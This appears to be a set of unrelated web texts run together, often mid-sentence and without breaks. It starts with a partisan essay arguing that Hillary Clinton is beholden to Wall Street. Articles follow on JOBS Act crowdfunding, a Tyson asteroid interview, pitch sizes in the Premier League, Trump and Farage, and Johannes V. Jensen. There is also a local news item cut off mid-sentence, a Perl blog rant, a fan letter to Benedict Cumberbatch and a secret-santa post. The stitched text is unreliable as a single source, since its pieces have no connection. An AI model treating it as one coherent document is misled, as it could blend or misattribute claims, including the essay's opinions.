In this election, Hillary has crafted her talking points regarding the causes of the last financial crisis as weapons against Trump, but they hardly begin to tell the real story of what happened to the American economy. The meltdown of 2007-2008 was not mainly due to “tax policies that slashed taxes on the wealthy” or a “failure to invest in the middle class,” two subjects she has repeatedly highlighted to slam the Republicans and their candidate. It was a byproduct of the destruction of the regulations that opened the way for a too-big-to-fail framework to thrive. Under the presidency of Bill Clinton, Glass-Steagall, the Depression-era act that once separated people’s bank deposits and loans from any kind of risky bets or other similar actions in which banks might engage, was repealed under the Financial Modernization Act of 1999. In addition, the Commodity Futures Modernization Act was passed, which allowed Wall Street to concoct devastating unregulated side bets on what became the subprime crisis.
Given that the people involved with those choices are still around and some are still advising (or in the case of one former president living with) Hillary Clinton, it’s reasonable to imagine that, in January 2017, she’ll launch the third term of Bill Clinton when it comes to financial policy, banks, and the economy. Only now, the stakes are even higher, the banks larger, and their impunity still remarkably unchallenged.
Consider President Obama’s current treasury secretary, Jack Lew. It was Hillary who hit the Clinton Rolodex to bring him back to Washington. Lew first entered Bill Clinton’s White House in 1993 as special assistant to the president. Between his stints working for Clinton and Obama, he made his way into the private sector and eventually to Wall Street — as so many of his predecessors had done and successors would do. He scored a leadership role with Citigroup during the time that Bill Clinton’s former Treasury Secretary (and former Goldman Sachs co-Chairman) Robert Rubin was on its board of directors. In 2009, Hillary selected him to be her deputy secretary of state.
Lew is hardly the only example of the busy revolving door to power that led from the Clinton administration to the Obama administration via Wall Street (or activities connected to it). Bill Clinton’s Treasury Under Secretary for International Affairs, Timothy Geithner worked with Robert Rubin, later championed Wall Street as president and CEO of the New York Federal Reserve while Hillary was senator from New York (representing Wall Street), and then became Obama’s first treasury secretary while Hillary was secretary of state.
One possible contender for treasury secretary in a new Clinton administration would be Bill Clinton’s Under Secretary of Domestic Finance and Obama’s Commodity Futures Trading Commission chairman, Gary Gensler (who was — I’m sure you won’t be shocked — a Goldman Sachs partner before entering public service). These, then, are typical inhabitants of the Clinton inner circle and of the political-financial corridors of power. Their thinking, like Hillary’s, meshes well with support for the status quo in the banking system, even if, like her, they are willing on occasion to admonish it for its “mistakes.”
This thru-line of personnel in and out of Clinton World is dangerous for most of the rest of us, because behind all the “talking heads” and genuinely amusing Saturday Night Live skits about this bizarre election lie certain crucial issues that will have to be dealt with: decisions about climate change, foreign wars, student-loan unaffordability, rising income inequality, declining social mobility, and, yes, the threat of another financial crisis. And keep in mind that such a future economic meltdown isn’t an absurdly long-shot possibility. Earlier this year, the Federal Reserve, the nation’s main bank regulator, and the Federal Deposit Insurance Corporation, the government entity that insures our bank deposits, collectively noted that seven of our biggest eight banks — Citigroup was the exception — still have inadequate emergency plans in the event of another financial crisis.
Exploring a Two-Faced World
Politicians regularly act one way publicly and another privately, as Hillary was “outed” for doing by WikiLeaks via its document dump from Clinton campaign manager John Podesta’s hacked email account. Such realities should be treated as neither shockers nor smoking guns. Everybody postures. Everybody lies. Everybody’s two-faced in certain aspects of their lives. Politicians just make a career out of it.
What’s problematic about Hillary’s public and private positions in the economic sphere, at least, isn’t their two-facedness but how of a piece they are. Yes, she warned the bankers to “cut it out! Quit foreclosing on homes! Quit engaging in these kinds of speculative behaviors!” — but that was no demonstration of strength in relation to the big banks. Her comments revealed no real understanding of their precise role in exacerbating a fixable subprime loan calamity and global financial crisis, nor did her finger-wagging mean anything to Wall Street.
Keep in mind that, during the build-up to that crisis, as banks took advantage of looser regulations, she collected more than $7 million from the securities and investment industry for her New York Senate runs ($18 million during her career). In her first Senate campaign, Citigroup was her top contributor. The four Wall-Street-based banks (JPMorgan Chase, Citigroup, Goldman Sachs, and Morgan Stanley) all feature among her top 10 career contributors. As a senator, she didn’t introduce any bills aimed at reforming or regulating Wall Street. During the lead-up to the financial crisis of 2007-2008, she did introduce five (out of 140) bills relating to the housing crisis, but they all died before making it through a Senate committee. So did a bill she sponsored to curtail corporate executive compensation. Though she has publicly called for a reduction in hedge-fund tax breaks (known as “closing the carried interest loophole”), including at the second debate, she never signed on to the bill that would have done so (one that Obama co-sponsored in 2007). Perhaps her most important gesture of support for Wall Street was her vote in favor of the $700 billion 2008 bank bailout bill. (Bernie Sanders opposed it.)
After her secretary of state stint, she returned to the scene of banking crimes. Many times. As we know, she was also paid exceedingly well for it. Friendship with the Clintons doesn’t come cheap. As she said in October 2013, while speaking at a Goldman Sachs AIMS Alternative Investments’ Symposium, “running for office in our country takes a lot of money, and candidates have to go out and raise it. New York is probably the leading site for contributions for fundraising for candidates on both sides of the aisle.”
Between 2013 and 2015, she gave 12 speeches to Wall Street banks, private equity firms, and other financial corporations, reaping a whopping $2,935,000 for them. In her 2016 presidential run, the securities and investment sector (aka Wall Street) has contributed the most of any industry to PACs supporting Hillary: $56.4 million.
Yes, everybody needs to make a buck or a few million of them. This is America after all, but Hillary was a political figure paid by the same banks routinely getting slapped with criminal settlements by the Department of Justice. In addition, the Clinton Foundation counted as generous donors all four of the major Wall Street-based mega-banks. She was voracious when it came to such money and tone-deaf when it came to the irony of it all.
Glass-Steagall and Bernie Sanders
One of the more illuminating aspects of the Podesta emails was a series of communications that took place in the fall of 2015. That’s when Bernie Sanders was gaining traction for, among other things, his calls to break up the big banks and resurrect the Glass-Steagall Act of 1933. The Clinton administration’s dismantling of that act in 1999 had freed the big banks to use their depositors’ money as collateral for risky bets in the real estate market and elsewhere, and so allowed them to become ever more engorged with questionable securities.
On December 7, 2015, with her campaign well underway and worried about the Sanders challenge, the Clinton camp debuted a key Hillary op-ed, “How I’d Rein in Wall Street,” in the New York Times. This followed two months of emails and internal debate within her campaign over whether supporting the return of Glass-Steagall was politically palatable for her and whether not supporting it would antagonize Senator Elizabeth Warren. In the end, though Glass-Steagall was mentioned in passing in her op-ed, she chose not to endorse its return.
She explained her decision not to do so this way (and her advisers and media apostles have stuck with this explanation ever since):
“Some have urged the return of a Depression-era rule called Glass-Steagall, which separated traditional banking from investment banking. But many of the firms that contributed to the crash in 2008, like A.I.G. and Lehman Brothers, weren’t traditional banks, so Glass-Steagall wouldn’t have limited their reckless behavior. Nor would restoring Glass-Steagall help contain other parts of the ‘shadow banking’ sector, including certain activities of hedge funds, investment banks, and other non-bank institutions.”
Her entire characterization of how the 2007-2008 banking crisis unfolded was — well — wrong. Here’s how traditional banks (like JPMorgan Chase) operated: they lent money to investment banks like Lehman Brothers so that they could buy more financial waste products stuffed with subprime mortgages that these traditional banks were, in turn, trying to sell. They then backed up those toxic financial products through insurance companies like AIG, which came close to collapse when what it was insuring became too toxically overwhelming to afford. AIG then got a $182 billion government bailout that also had the effect of bailing out those traditional banks (including Goldman Sachs and Morgan Stanley, which became “traditional” during the crisis). In this way, the whole vicious cycle started with the traditional banks that hold your deposits and at the same time could produce and sell those waste products thanks to the repeal of Glass-Steagall. So yes, the loss of that act caused the crisis and, in its wake, every big traditional bank was fined for crisis-related crimes.
Hillary won’t push to bring back Glass-Steagall. Doing so would dismantle her husband’s legacy and that of the men he and she appointed to public office. Whatever cosmetic alterations may be in store, count on that act remaining an artifact of the past, since its resurrection would dismay the bankers who, over the past three decades, made the Clintons what they are.
No wonder many diehard Sanders supporters remain disillusioned and skeptical — not to speak of the fact that their candidate featured dead last (39th) on a list of recommended vice presidential candidates in the Podesta emails. That’s unfortunately how much his agenda is likely to matter to her in the Oval Office.
Go Regulate Yourselves!
Before he resigned with his nine-figure golden parachute, Wells Fargo CEO and Chairman John Stumpf addressed Congress over disclosures that 5,300 of his employees had created two million fake accounts, scamming $2.4 million from existing customers. The bank was fined $185 million for that (out of a total $10 billion in fines for a range of other crimes committed before and during the financial crisis).
In response, Hillary wrote a letter to Wells Fargo’s customers. In it, she didn’t actually mention Stumpf by name, as she has not mentioned any Wall Street CEO by name in the context of criminal activity. Instead, she simply spoke of “he.” As she put it, “He owes all of you a clear explanation as to how this happened under his watch.” She added, “Executives should be held individually accountable when rampant illegal activity happens on their watch.”
She does have a plan to fine banks for being too big, but they’ve already been fined repeatedly for being crooked and it hasn’t made them any smaller or less threatening. As their top officials evidently view the matter, paying up for breaking the law is just another cost of doing business.
Hillary also wrote, “If any bank can’t be managed effectively, it should be broken up.” But the question is: Why doesn’t ongoing criminal activity that threatens the rest of us correlate with ineffective management — or put another way, when was the last time you saw a major bank broken up? And don’t hold your breath for that to happen in a new Clinton administration either.
In her public letter, she added, “I’ll appoint regulators who will stand with taxpayers and consumers, not with big banks and their friends in Congress.” On the other hand, at that same Goldman Sachs symposium, while in fundraising mode, she gave bankers a pass relative to regulators and commented: “Well, I represented all of you for eight years. I had great relations and worked so close together after 9/11 to rebuild downtown, and [I have] a lot of respect for the work you do and the people who do it.”
She has steadfastly worked to craft explanations for the financial crisis and the Great Recession that don’t endanger the banks as we presently know them. In addition, she has supported the idea of appointing insider regulators, insisting that “the people that know the industry better than anybody are the people who work in the industry.” (Let’s not forget that former Goldman Sachs CEO and Chairman Hank Paulson ran the Treasury Department while the crisis brewed.)
Among the emails sent to John Podesta that were posted by WikiLeaks is an article I wrote for TomDispatch on the Clintons’ relationships with bankers. “She will not point fingers at her friends,” I said in that piece in May 2015. She will not chastise the people who pay her hundreds of thousands of dollars a pop to speak or the ones who have long shared the social circles in which she and her husband move.” I also suggested that she wouldn’t call out any CEO by name. To this day she hasn’t. I said that she would never be an advocate for Glass-Steagall. And she hasn’t been. What was true then will be no less true once she’s in the White House and no longer has to make gestures toward the platform on which Bernie ran and so can once again more openly embrace the bankers’ way of conducting business.
There’s a reason Wall Street has a crush on her and its monarchs like Goldman Sachs CEO and Chairman Lloyd Blankfein pay her such stunning sums to offer anodyne remarks to their employees and others. Blankfein has been coy about an official Clinton endorsement simply because he doesn’t want to rock her campaign boat, but make no mistake, this Wall Street kingpin’s silence is tantamount to an endorsement.
To date, $10 trillion worth of assets sits on the books of the Big Six banks. Since 2008, these same banks have copped to more than $150 billion in fines for pre-crisis behavior that ranged on the spectrum of criminality from manipulating multiple public markets to outright fraud. Hillary Clinton has arguably taken money that would not have been so available if it weren’t for the ill-gotten gains those banks secured. In her usual measured way, albeit with some light admonishments, she has told them what they want to hear: that if they behave — something that in her dictionary of definitions involves little in the way of personalized pain or punishment — so will she.
So let’s recap Hillary’s America, past, present, and future. It’s a land lacking in meaningful structural reform of the financial system, a place where the big banks have been, and will continue to be, coddled by the government. No CEO will be jailed, no matter how large the fines his bank is saddled with or how widespread the crimes it committed. Instead, he’s likely to be invited to the inaugural ball in January. Because its practices have not been adequately controlled or curtailed, the inherent risk that Wall Street poses for Main Street will only grow as bankers continue to use our money to make their bets. (The 2010 Dodd-Frank Act was supposed to help on this score, but has yet to make the big banks any smaller.)
And here’s an obvious corollary to all this: the next bank-instigated economic catastrophe will not be dealt with until it has once again crushed the financial stability of millions of Americans.
The banks have voted with their dollars on all of this in multiple ways. Hillary won’t do anything to upset that applecart. We should have no illusions about what her presidency would mean from a Wall Street vs. Main Street perspective. Certainly, JPMorgan Chase CEO Jamie Dimon doesn’t. He effectively endorsed Hillary before a crowd of financial industry players, saying, “I hope the next president, she reaches across the aisle.”
For Wall Street, of course, that aisle is essentially illusory, since its players operate so easily and effectively on both sides of it. In Hillary’s America, Wall Street will still own Main Street.With President Barack Obama signing the Jumpstart Our Business Startups Bill into law on Thursday, the crowdfunding provision could mark a new era for startups, making it easier to raise money with more investment from new investors fueling early and later stage healthcare companies.
But some investors believe that with less rigorous regulatory checks and balances on company finances, the risk of investors getting burned by fraud will lead to new dynamics in the investment landscape, like novice investors partnering with individuals and groups with more experience.
Three individuals from the investment landscape share their thoughts.
Be careful what you wish for
Tom Olenzak, an angel investor with Robin Hood Ventures in Philadelphia, specializes in IT, healthcare services and medical devices, among other areas. He sees reason for optimism that some healthcare startups will benefit from crowdfunding. “Especially with crowd financing, the healthcare experience resonates with people, they personalize it. Everyone knows someone who has cancer.”
On the other hand the fragmented nature of the healthcare industry means that it takes time for businesses to scale up. The question is how long is a novice investor’s patience?
With all the advantages that new money can bring, Olenzak adds this caveat: “Taking money from individuals is a pain in the neck. Shareholders always want more information.”
He points out that good companies will continue to seek out institutional investment when they can get it. Crowdfunding may be less desirable, even a hassle for some companies because it could magnify the tensions that businesses already face with their shareholders ’ and create a cacaphony of priorities and interests that may clash with those of the company’s management team and pull the company in different directions.
The risk of novice investors getting burned by bad investment choices could have a negative impact on all the crowdfunding money the Act is designed to generate. For that reason, some new investment groups could spring up that partner novice investors with angels and other experienced investors.
There will be winners and losers
Jaine Lucas is an executive director of the Innovation and Entrepreneurship Institute at the Fox School of Business at Temple University and Mid Atlantic Diamond Ventures in Philadelphia. “Those firms adept at creating ‘buzz’ and who are masters in social media have an advantage in securing crowd funding.”
Lucas adds that inevitably start-ups with innovations in information technology (such as cloud computing and mobile app platforms, and software as a service) will virtually always have a quicker return on investment than start-ups based on biotechnology and new pharmaceuticals. “[IT companies] are also relatively ‘de-risked’ because the time to market, dollars to launch and failure rates are much lower. Crowd funding doesn’t change that.”
There will be winners and losers from the new legislation, Lucas said. “Some firms will benefit from the cash infusion initially, but will not have the coaching, advice and counsel that typically come from an angel investment and is often just as beneficial as the funding.”
Despite the new law, launching startups will continue to be a ’crap shoot’ since about half receiving angel investment fail as it is.
Lucas adds that the companies with the greatest chance of commercial success will be the firms with products and services that resonate with and are more easily understandable to a novice investor, like consumer retail products or firms with double bottom lines (those which make profits and provide social or environmental benefits).
It will remove barriers that stymie growth for small businesses
David Shrier, the CEO and co-founder of healthcare growth equity company KeyView Partners, believes the Act will right the wrongs created by well-meaning legislation passed in the aftermath of the Enron and Worldcom debacles to better protect investors but which ended up making it more challenging for startups to go public. “Bear in mind that the biggest abuses leading to Sarbanes-Oxley and Dodd Frank, Enron and Worldcom, weren’t small emerging-growth companies, but it’s those growth companies that have been hurt the most by the new regulations.”
He points out that it will also reduce the financing gap between early and later stage companies by making it easier for early stage companies to get access to up to $1 million a year.
Olenzak, Lucas and Shrier agree that novice investors will need to make investment decisions with “buyer beware” as their mantra. The new, less regulatory environment will mean investors need to be prepared that they could lose their entire investment(KUTV) He dances to the beat on countless sidewalks in Holladay and Cottonwood Heights, but some police officers on the beat apparently did not appreciate his act -- and Wednesday afternoon, Steve Unger faced the music in court.
After Wednesday's court appearance, he has a Nov. 18 jury trial to face disorderly conduct charges. For Wednesday's court appearance he showed up in a suit he said he has never worn before and never will again.
"What happened to me is pretty absurd," Unger told 2News. "I'm hoping the judge issues a reprimand to the people who did this to me."
Nearly every day, the 68-year-old retiree dons |
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President Barack Obama wants to send astronauts to asteroids, and he's even giving NASA $100 million to figure out a way to lasso asteroids.
As ridiculous as that might sound, world renowned astrophysicist Neil deGrasse Tyson praises Obama's and NASA's asteroid retrieval initiative.
"You kind of want to know how to move asteroids around - that's a good thing to be able to do," Tyson tells us. "Because one day we're going to find one with our name on it."
The host of StarTalk Radio explains how lassoing an asteroid could actually work and he also tells us about different methods to move asteroids.
StarTalk Radio is a podcast and radio program hosted by astrophysicist Neil deGrasse Tyson, where comic co-hosts, guest celebrities and scientists discuss astronomy, physics, and everything else about life in the universe. Follow StarTalk Radio on Twitter, and watch StarTalk Radio "Behind the Scenes" on YouTube.
Produced by Will Wei, Robert Libetti, and Kamelia AngelovaDespite of what's expressed in this blog post, I am generally responsive (as can be seen from my RT track record) and willing to be cooperative (or rather, not really willing to be uncooperative). I even often do the opposite of what I wrote below. It's just that sometimes you need to vent.
On people suggesting to use File::Spec (or Path::Class) everytime... Have using hard-coded "/" failed these days (on platforms that I care about)? Why do I have to subject myself to the verbose file('a', 'b', 'c') or even the masochistic File::Spec->catfile('a', 'b', 'c'), when 'a/b/c' works? The platforms which do not use "/" path separator are either old, dying, rare, or all of those. And new platforms being written won't even dream of not obeying the /. It's already becoming the overwhelming majority that assuming it works everywhere is the best practical approach.
On the other hand, issues like case-sensitivity or encoding in filesystems are still very real and common...
On people telling me to support 5.8.x... Well, breaking news for you, even 5.10.x is ancient (no longer supported by p5p). Why do I have to sacrifice by refraining from using // and having to write $foo = defined($foo)? $foo : 'default'? Why do I have to avoid using named captures in my long- and often-tweaked regexes, and thus have to deal with $1..$24 and track the number of parentheses, which is very error-prone? I want my say and state and ~~, dammit!
When all my servers and clients have upgraded to Wheezy and beyond, I'll expect to repeat this cycle and ditch 5.10 for 5.12, 5.14,... Sorry, I don't can't afford to care for people that are too behind. If you want to be supported, be a client and cough up some dough >:-)
On Windows... I hate dislike don't care about Windows and I'm quite glad of the so-called Microsoft's lost decade. They never try to play nice with others, so why should I play nice with them?
On people suggesting to 'use utf8'... I almost never have to put non-ASCII characters in my source code. I only name my identifiers with [A-Za-z0-9_] and would like to keep it that way. I read Chinese and French for a bit, but I avoid Unicode until it's unavoidable. So, no thanks.
On those suggesting to moosify, mousify, mooify my modules... I'll decide when I need to go OO, thank you very much. That's currently only about 5-10% of the time. I regard OO as a non-necessary evil. It offers features but comes with a cost, just like everything else. I prefer to keep simple things simple.To Benedict Cumberbatch:
My name is Catherine but you wouldn’t know that. I am the girl in the dress who humbly asked for an autograph at the end of your recording of the last episode of Cabin Pressure. I had not been fortunate enough to get a ticket to watch but I wanted to meet you. I am an American currently traveling abroad. It’s not all that glamorous traveling by cheap bus and sleeping in 18 bed dorm rooms in run down hostels but if you knew anything about me, you’d know it is exactly what I needed. What I should really be saying is that you don’t know anything about me and you have no reason to but that shouldn’t change the way you could have interacted with me this evening.
When I approached you this evening, I had not been a part of the crowd that had sprinted after you. In fact, I actually thought you had left but when I walked down the road and spotted you, I mustered up a heck of a lot of courage to quietly ask for an autograph. You, with a very annoyed tone, said you had already told them you were done taking pictures and when I asked for an autograph you denied me that as well. All I wanted, really wanted, was your stupid scrawl on a piece of paper. You don’t know me. You don’t know that I gained the friendship of a wonderful girl while I was in Vienna who is a big fan of yours. I told her if I met you that I would do everything I could to get her your autograph. I actually wanted to get her your autograph more than I wanted one for me. You see, I’m traveling alone and it is something I prefer. I can do what I want when I want. It does get lonely sometimes. It’s been over two months since I’ve been home. Meeting this girl to sit at Starbucks for a few hours was fantastic. It was just the right amount of socialization I needed in this exile I put myself in and I wanted to thank her for her company with something to show my appreciation for her friendship.
You didn’t just say no to me. You stripped me of my individuality. You placed me in your “collective” without a regard to my feelings. You assumed I had been in that group you must have denied. Had I been, I wouldn’t have approached you. I would have respected your direction. But I hadn’t and you did not even consider that so instead of having your words impersonally dilute themselves among a crowd, I found myself singularly targeted by your annoyance with no back up or shield against the concentrated negativity aimed directly toward my presence. I stood there with my cold hands in my pockets clenching my pen with my thumb aching to pop the cap off and the other trying not to mangle the postcard I had picked to send to my friend. I was so proud of the postcard I had picked and kept imagining her expression when she received it with your autograph instead of “Wish you were here!” on the back.
I get it though. You’re human. You were probably tired and hungry and it gets hard faking a smile for yet another fan. I know what it’s like. Back at home, I had been working as an EMT on an ambulance before I lost my job due to another’s incompetence. I loved my job despite being severely underpaid. I was working anywhere from 90 to 110 hour work weeks on top of volunteering for my local fire and ambulance company. It made my mother sick with worry. I ate, slept, and showered at work. I sometimes went entire shifts without a meal so that I could transport the elderly, sick, and dying between facilities or respond to emergencies. I honestly don’t complain about it because it was a choice I made. I wanted to help people, to make them feel better in their lowest moments, all while doing it with rarely receiving a thank you. You’d be surprised how abrasive people can be toward the ones helping them but I always kept a cheerful disposition; whether it was faked or not was another story. I never let them see the tired, the hungry, the stress. Who am I to judge when it could be the worst day of their lives? I didn’t know them just like you don’t know me and just like I don’t know you. I shouldn’t just assume you could fake one more smile or bury your resentment toward my brief interruption to your life. You had, after all, been kind enough to transfer your cigarette to your left hand so that you could oblige to my request for a handshake so I can’t be very upset. It wasn’t even a moment I will ever be able to recall with any sort of detail. My hand was numb with the cold and the entirety of the situation and I was terrified to even look at your face.
Had I been a dog, I would have been walking away with my head low to the ground enough to grind my nose in the pavement and my tail tucked between my legs as I tried to escape from you. I didn’t even want to be on the same street as you. I felt violently sick. I didn’t and still don’t know who to be mad at. Myself or you? But how can I be mad at you? Was I being selfish? Can I be entitled to just 30 seconds of selfishness after giving so much of myself to others and never asking for anything in return? Are you equally deserving of your own selfishness as you work to please others, though with garnering more respect?
My answers to these questions are really just a ball of confusion. All I know is that, for lack of eloquence as this seems to hit the nail on the head, you made me feel like shit. You made me resent myself for having the audacity to approach you. You clearly drew the line on the sidewalk and all those on my side were the unworthy except it was only me standing there embarrassed and horrified after being denied simply by saying hello.
I never planned on meeting you again after tonight before you refused me an autograph. I will never pay money to meet you in an assembly line. If I did, you’d be getting a mask that I’m familiar with putting on all too well. Had I gotten what would have taken less than half a minute of your life from you, I’d be happy as a clam for meeting you despite never really believing I would. Instead, tonight, I will go to sleep if I can. I will think about how you couldn’t hold a pen and fake a smile for me because it was too much and I wasn’t important enough. I will remember that I was personally denied by you. I will remember to continue to live by hoping for the best but always expecting the worst. I will hope that you never do to someone else what you did to me. I want you to remember that you don’t know your fans and for that reason you should be gentle with them whenever possible. I imagine you show your best qualities to the people who really matter but all I wanted was your autograph instead of feeling ashamed.
May this be a lesson to us both or perhaps just myself.
CatherineSmall variations in pitch size should not really have an impact, yet attacking sides do thrive on large grounds and more defensive teams favour smaller surfaces
Football managers are accustomed to shifting the blame following defeats, with referees the usual target of their ire. Mauricio Pochettino, however, blamed the White Hart Lane pitch in the wake of Tottenham’s surprise 2-1 defeat against Newcastle on Sunday.
“Our style means we need a bigger space to play because we play a positional game,” the Argentinian coach said. “It’s true that White Hart Lane is a little bit tight and it’s better for the opponent when they play deep.”
Pochettino’s specific problem is against opponents who defend with a ‘low block’, sitting on the edge of the penalty box. “On Sunday there were two shots from Newcastle – it was unlucky for us. And they play deep. West Bromwich play deep, Liverpool the same, they play very deep and it was difficult for us. We need time to adapt to our new set-up and to understand better our position on the pitch.”
Two years ago the Premier League attempted to standardise pitch size. “Unless otherwise permitted by the board, in league matches the length of the pitch shall be 105 metres and its breadth 68 metres,” read rule K21. The next rule, however, states that exceptions are allowed “if it is impossible to comply with rule K21 due to the nature of the construction of the ground”.
Ten Premier League clubs comply perfectly with the 105m x 68m regulations – Arsenal, Aston Villa, Hull, Manchester City, Manchester United, Newcastle, Southampton, Sunderland, Swansea and West Bromwich Albion – although there are only minor differences elsewhere.
White Hart Lane is 100m x 67m, with Stoke’s Britannia Stadium and Queens Park Rangers’ Loftus Road the smallest, at 100m x 66m.
Finding space remains a key attacking concept, but the difference here is minimal. Such small variations should not have a significant impact upon play, although it’s obvious that expansive, attacking sides thrive on large pitches, and more defensive teams, and long-ball teams, favour smaller playing surfaces. It is interesting that Pochettino is so concerned about the dimensions – his coaching idol, his former Argentina manager Marcelo Bielsa, often used to pace out an opposition pitch pre-match, checking it matched the dimensions provided by the club.
Perhaps Bielsa had heard of Graeme Souness. In 1987 Souness, then Rangers manager, was scouting their upcoming European Cup opponents Dynamo Kiev, and realised the Ukrainian side had two particularly dangerous wingers. The night before the game, the Ibrox groundsman worked his magic at the manager’s command.
“The pitch didn’t have to be a fixed width as long as it was above a certain minimum, so I thought: ‘Right, I’ll make it the absolute minimum,’” Souness said. “On the Tuesday afternoon the Kiev players trained on the pitch when it was the normal size. On Wednesday night they came out for the match and must have been shocked to discover that, after 15 paces, they were on the touchline … it wasn’t purist stuff, but it was within the rules.” Having lost the first leg 1-0 in Kiev, Rangers turned the tie around, and triumphed 2-1 on aggregate.
Arsène Wenger once blamed the small pitch at Highbury for Arsenal’s disciplinary problems. “There is something about the size of the pitch at home,” he said in 2002. “It’s tight and, of course, we have a dynamic way of playing, everybody defends well and we are a team who put opponents under pressure, so there is more physical contact. On a bigger pitch, you have less contact. It is certainly linked with that. Highbury is very compact.”
Stoke, considered the anti-Arsenal under their former coach Tony Pulis, are also an interesting case. They set their pitch size at the minimum possible, which meant their long-ball game was more effective. It also – literally – played into the hands of their former long-throw expert Rory Delap.
When Stoke qualified for the Europa League in 2011-12, Uefa’s pitch regulations were larger than that of the Premier League, which meant the Britannia briefly had two separate pitch markings visible throughout games, which confused their right-back Ryan Shotton, who took a quick throw from the wrong touchline in a league game.
Ultimately, Premier League pitches are all roughly the same size. However, the Laws of the Game state pitches can be between 90 and 120 metres long, and drastically different in width – between 50 and 100 metres, although they must be longer than they are wide. With such variations allowed at amateur level, it is Sunday League sides, rather than Premier League teams, who can be particularly tactical with the dimensions of their pitch.First RSS, I signed up to give something hopefully cool. Well my Santa has made my gift seem rather boring! Santa went the extra mile and contacted me to confirm my real name and stated it was critical for my gift. All I could think for days was what could it be? Both packages arrived a day early and my kids were excited! Explaining secret santa to a 4 year old is rather difficult. They opened the small box first and I just out laughing. Having mentioned video games and South Park, my incredibly talented santa painted a picture of WOW fat Stan. Brilliant. But wait there's more! What's in the large box? A hidden letter almost got passed up. Unbelievable, personalized street sign with my family name. So awesome. And it's the real deal too not some knock off. This is nicer than the street sign in my block!Donald Trump will continue to make his pitch to African-Americans on Wednesday night in deep-red Mississippi. But the venue isn’t the most puzzling aspect of the event – he’ll be accompanied by Nigel Farage, the former head of the nationalist UK Independence Party who was accused of racism during his successful campaign encouraging UK to withdraw from the European Union.
Farage confirmed a Sky News report that he’d be appearing at Trump’s evening rally in Jackson, Mississippi. Farage said he was already in Jackson, and would be attending a dinner before the rally, where he planned to tell the “story of Brexit.”
The UK politician won’t be endorsing Trump, however. Farage indicated in an interview he felt such a move would be hypocritical after he condemned President Obama for wading into the Brexit campaign by urging UK citizens to vote to remain in the EU.
It’s unclear how exactly his appearance at Trump’s Mississippi event came about — Trump spokeswoman Hope Hicks told Sky News she would “highly doubt” there would be a joint appearance between the two and didn’t know anything about it.
She did not respond to an NBC News request for comment.
But it’s not entirely unexpected — Trump embraced the successful Brexit vote on a visit to Scotland shortly after, hailing it as a precursor to his own success this November.
“They took their country back, just like we will take America back,” he tweeted at the time. And last week, he cryptically tweeted: “They will soon be calling me MR. BREXIT!”
They will soon be calling me MR. BREXIT! — Donald J. Trump (@realDonaldTrump) August 18, 2016
Indeed, there have been many similarities between Trump’s supporters and those who favored the Brexit. Both seized on deep dissatisfaction with politics as usual, the establishment, and failures of government to address their citizens’ concerns. And both tapped the frustration, bordering on fear, of the influx of immigrants from outside the nation and concerns over their effects on citizens’ safety and economic prospects.
Farage drew fierce criticism in particular for his tactics to harness the latter, which opponents said amounted to racism. Farage commissioned a poster for the campaign that displayed a line of largely non-white migrants with the text: “The EU has failed us all. We must break free of the EU and take back control.” He also argued UK employers should be able to discriminate between British citizens and migrants when hiring.
That could complicate Trump’s already rocky attempt to broaden his appeal to minorities, part of an effort to make up for considerable lost ground to Democrat Hillary Clinton over the month of August.
With Trump singing a different tune from his stridently anti-immigrant message during the primary — he has softened his stance on immigration reform in recent days, moving away from advocating for mass deportations and allowing some leniency for law-abiding undocumented immigrants — Farage’s appearance could be an awkward reminder of Trump’s inconsistencies on the issue.Not to be confused with German author Wilhelm Jensen (1837–1911).
Johannes Vilhelm Jensen (commonly known as Johannes V. Jensen; 20 January 1873 – 25 November 1950) was a Danish author, often considered the first great Danish writer of the 20th century. He was awarded the Nobel Prize in Literature in 1944 "for the rare strength and fertility of his poetic imagination with which is combined an intellectual curiosity of wide scope and a bold, freshly creative style".[1] One of his sisters, Thit Jensen, was also a well-known writer and a very vocal, and occasionally controversial, early feminist.
Early years [ edit ]
He was born in Farsø, a village in North Jutland, Denmark, as the son of a veterinary surgeon[2] and he grew up in a rural environment. While studying medicine at the University of Copenhagen he worked as a writer to fund his studies. After three years of studying he chose to change careers and devote himself fully to literature.
Literary works [ edit ]
Johannes V. Jensen in 1902.
The first phase of his work as an author was influenced by fin-de-siècle pessimism. His career began with the publication of Himmerland Stories (1898–1910), comprising a series of tales set in the part of Denmark where he was born. During 1900 and 1901 he wrote his first masterpiece, Kongens Fald (translated into English as The Fall of the King in 1933), a modern historical novel centred on King Christian II. Literary critic Martin Seymour-Smith said it is an "indictment of Danish indecision and lack of vitality, which Jensen saw as a national disease. Apart from this aspect of it, it is a penetrating study of sixteenth-century people." [3]
In 1906 Jensen created his greatest literary achievement: the collection of verses Digte 1906 (i.e. Poems 1906), which introduced the prose poem to Danish literature. He also wrote poetry, a few plays, and many essays, chiefly on anthropology and the philosophy of evolution.
He developed his theories of evolution in a cycle of six novels, Den lange rejse (1908–22), translated into English as The Long Journey (1923–24), which was published in a two-volume edition in 1938.[4] This is often considered his main work in prose, a daring and often impressive attempt to create a Darwinian alternative to the Biblical Genesis myth. In this work we see the development of mankind from the Ice Age to the times of Columbus, focusing on pioneering individuals.
Like his compatriot Hans Christian Andersen, he travelled extensively; a trip to the United States inspired a poem of his, "Paa Memphis Station" [At the train station, Memphis, Tennessee], which is well known in Denmark. Walt Whitman was among the writers who influenced Jensen. Jensen later became an atheist.[5]
Late career [ edit ]
Jensen's most popular literary works were all completed before 1920,[citation needed] a year which also marks his initiation of the 'Museumcentre Aars' in the town of Aars in Himmerland. After this he mostly concentrated on ambitious biological and zoological studies in an effort to create an ethical system based upon Darwinian ideas. He also hoped to renew classical poetry.
For many years he worked in journalism, writing articles and chronicles for the daily press without ever joining the staff of any newspaper.
Legacy [ edit ]
Jensen was a controversial figure in Danish cultural life. He was a reckless polemicist and his often dubious racial theories have damaged his reputation. However, he never showed any Fascist leanings.
Today Jensen is still considered the father of Danish modernism, particularly in the area of modern poetry with his introduction of the prose poem and his use of a direct and straightforward language. His direct influence was felt as late as the 1960s. Without being a Danish answer to Kipling, Hamsun or Sandburg, he bears comparison to all three authors. He combines the outlook of the regional writer with the view of the modern academic and scientific observer.
In 1999, The Fall of the King (1901) was acclaimed as the best Danish novel of the 20th century by the newspapers Politiken and Berlingske Tidende, independently of each other.[6]
Bibliography [ edit ]
Danskere, 1896
Einar Elkjær, 1898
Himmerlandsfolk, 1898
Intermezzo, 1899
Kongens Fald, 1900–1901 – The Fall of the King
Den gotiske renæssance, 1901
Skovene, 1904
Nye Himmerlandshistorier, 1904
